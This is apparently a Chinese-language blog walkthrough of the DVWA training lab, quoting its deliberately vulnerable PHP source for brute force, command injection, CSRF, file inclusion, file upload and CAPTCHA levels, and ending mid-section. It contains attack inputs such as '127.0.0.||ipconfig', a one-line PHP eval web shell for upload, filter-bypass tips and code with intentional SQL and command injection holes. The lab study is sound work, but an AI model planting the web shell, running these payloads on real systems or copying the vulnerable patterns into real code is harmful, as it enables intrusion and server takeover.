DVWA靶场

server/2025/2/11 7:20:24/

Brute Force(暴力破解)

Low

使用BP抓包进行暴力破解,使用集群炸弹,导入字典,对用户名和密码进行破解。如下图。攻击后查看长度判断正确性,找到账号和密码。

源代码解析:点击此按钮即可查看后端源代码。

​
<?php
​
if( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];//GET传参获取账号
​// Get password$pass = $_GET[ 'password' ];//GET传参获取密码$pass = md5( $pass );//对密码进行MD5加密
​// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";//从数据库查询账号密码$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//获取账号密码
​if( $result && mysqli_num_rows( $result ) == 1 ) {//判断输入账号密码是否正确// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];
​// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedecho "<pre><br />Username and/or password incorrect.</pre>";}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?>

Medium

这个和low级别的爆破方法一样,只是加了一些转义字符。

源代码分析:

​
<?php
​
if( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input,得到账号$user = $_GET[ 'username' ];$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​// Sanitise password input,得到密码$pass = $_GET[ 'password' ];$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );
​// Check the database,从数据库获取正确的账号密码$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];
​// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( 2 );echo "<pre><br />Username and/or password incorrect.</pre>";}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?>

High

抓包后发现有token,使用草叉攻击模式,操作如下:

img

img

img

img

img

攻击完成即可得到密码。

源代码:

​
<?php
​
if( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF token,添加的token,其他基本没变。checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​// Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );
​// Check database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];
​// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( rand( 0, 3 ) );echo "<pre><br />Username and/or password incorrect.</pre>";}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
// Generate Anti-CSRF token
generateSessionToken();//生成token
​
?>

Impossible

源代码:

​
<?php
​
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );
​// Default values$total_failed_login = 3;$lockout_time       = 15;$account_locked     = false;
​// Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();
​// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {// User locked out.  Note, using this method would allow for user enumeration!//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
​// Calculate when the user would be allowed to login again$last_login = strtotime( $row[ 'last_login' ] );$timeout    = $last_login + ($lockout_time * 60);$timenow    = time();
​/*print "The last login was: " . date ("h:i:s", $last_login) . "<br />";print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";*/
​// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow < $timeout ) {$account_locked = true;// print "The account is locked<br />";}}
​// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();
​// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar       = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login   = $row[ 'last_login' ];
​// Login successfulecho "<p>Welcome to the password protected area <em>{$user}</em></p>";echo "<img src=\"{$avatar}\" />";
​// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";}
​// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();} else {// Login failedsleep( rand( 2, 4 ) );//进行锁定
​// Give the user some feedbackecho "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
​// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}
​// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

登录三次锁定15分钟,无法爆破。

Command Injection(命令注入)

Low

输入:127.0.0.||ipconfig即可以执行

源代码:

<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];
​// 确定操作系统并执行ping命令。if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}
​// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
​
?>

Medium

输入:127.0.0.||ipconfig即可以执行

屏蔽了&&和分号

源代码:

​
<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];
​// Set blacklist$substitutions = array('&&' => '',//过滤&&';'  => '',//过滤分号);
​//移除数组中的任何字符(黑名单)。$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
​// 确定操作系统并执行ping命令。if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}
​// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
​
?>

High

输入:127.0.0 || ipconfig

过滤了更多的符号,以上的命令前面执行失败会执行后面的。

源代码:

​
<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);
​// Set blacklist$substitutions = array(//符号过滤'&'  => '',';'  => '','| ' => '','-'  => '','$'  => '','('  => '',')'  => '','`'  => '','||' => '',);
​//移除数组中的任何字符(黑名单)。$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
​// 确定操作系统并执行ping命令。if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}
​// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
​
?>

Impossible

安全,无漏洞。

源代码:

​
<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {// Check Anti-CSRF token,设置了tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$target = $_REQUEST[ 'ip' ];$target = stripslashes( $target );
​// Split the IP into 4 octects$octet = explode( ".", $target );
​// Check IF each octet is an integer,判断是否为数字if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {// If all 4 octets are int's put the IP back together.$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
​// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}
​// Feedback for the end userecho "<pre>{$cmd}</pre>";}else {// Ops. Let the user name theres a mistakeecho '<pre>ERROR: You have entered an invalid IP.</pre>';}
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

CSRF

Low

先输入两个不一样的密码,在新的页面构造相同密码的url打开即可发现密码修改成功。

源代码:

<?php
​
if( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];
​// Do the passwords match?if( $pass_new == $pass_conf ) {//两次密码一致执行// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );
​// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​// Feedback for the userecho "<pre>Password Changed.</pre>";}else {//两次密码不一致时执行,没什么东西// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?>

Medium

使用low的方法不可行,检查了referer,使用BP抓包,发现有referer,构造相同密码的url在新页面打开再抓包,发现没有referer,那么我们构造referer即可。

源代码:

​
<?php
​
if( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];
​// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));//对数据库获取的信息进行安全处理,防止SQL注入。$pass_new = md5( $pass_new );
​// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?>

High

本关加入了token,使用BP抓包,放到重放器中,修改发送即可获取新的token,修改token即可修改成功。

源代码:

<?php
​
if( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];
​// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );
​// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
// Generate Anti-CSRF token
generateSessionToken();//生成token
​
?> 

Impossible

源代码:需要输入原始密码

​
<?php
​
if( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];
​// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );
​// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();
​// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );
​// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();
​// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>";}
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

File Inclusion

Low

每次点击就会跳转,可以在page后面加文件路径。

源代码:

​
<?php
​
// The page we wish to display
$file = $_GET[ 'page' ];//获取传参
​
?>

Medium

和上面一样加文件路径。

源代码:

​
<?php
​
// The page we wish to display
$file = $_GET[ 'page' ];//获取传参
​
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );//过滤http://和https://
$file = str_replace( array( "../", "..\"" ), "", $file );//过滤../和..\
​
?>

High

使用file协议绕过:

源代码:

​
<?php
​
// The page we wish to display
$file = $_GET[ 'page' ];
​
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {//定义文件名必须为file*或者include.php// This isn't the page we want!echo "ERROR: File not found!";exit;
}
​
?>

Impossible

设置了白名单,源代码:

​
<?php
​
// The page we wish to display
$file = $_GET[ 'page' ];
​
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {//只能打开这几个文件// This isn't the page we want!echo "ERROR: File not found!";exit;
}
​
?>

没有漏洞。

File Upload

Low

上传一句话木马文件,没有任何过滤,直接上传。

源代码:

//一句话木马:<?php @eval($_POST['id']);?>​
<?php
​
if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
​// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}
}
​
?>

上传成功后可以用蚁剑进行连接。

Medium

只允许上传图片文件,使用BP抓包将文件后缀改为php即可。

源代码:

​
<?php
​
if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
​// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
​// Is it an image?检查是否是图片文件if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {
​// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}
​
?>

High

需要上传图片马

源代码:

​
<?php
​
if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
​// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
​// Is it an image?检查文件后缀if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {
​// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}
​
?>

Impossible

源代码:

​
<?php
​
if( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​
​// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
​// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
​// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {
​// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );
​// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// Noecho '<pre>Your image was not uploaded.</pre>';}
​// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

Insecure CAPTCHA(不安全的验证)

如果加载完成是一个链接,没有修改密码的界面,可以看这个添加密钥。

Low

第一关是验证step,输入密码后抓包,修改step为2即可。

源代码:

<?php//第一阶段,验证身份,验证阶段为step
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form
//隐藏验证码表单$hide_form = true;// Get input
//得到用户的新密码及确认新密码$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party
//使用第三方进行身份验证
//recaptcha_check_answer($privkey,$remoteip, $challenge,$response)$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly
//验证失败时$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?
//验证通过时,匹配两次密码是否一致if( $pass_new == $pass_conf ) {// Show next stage for the userecho "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}//第二阶段,检查两次密码是否一致,并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

Medium

同样使用BP抓包,修改step并添加&passed_captcha=ture即可。

源代码:

​
<?php
​
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;
​// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];
​// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);
​// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the user
// 对参数passed_captcha进行验证,如果通过身份验证,该参数就为trueecho "  <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}
​
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;
​// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];
​// Check to see if they did stage 1if( !$_POST[ 'passed_captcha' ] ) {$html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";$hide_form = false;return;}
​// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );
​// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?>

High

根据源代码,我们需要让两个参数到指定的值:

$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
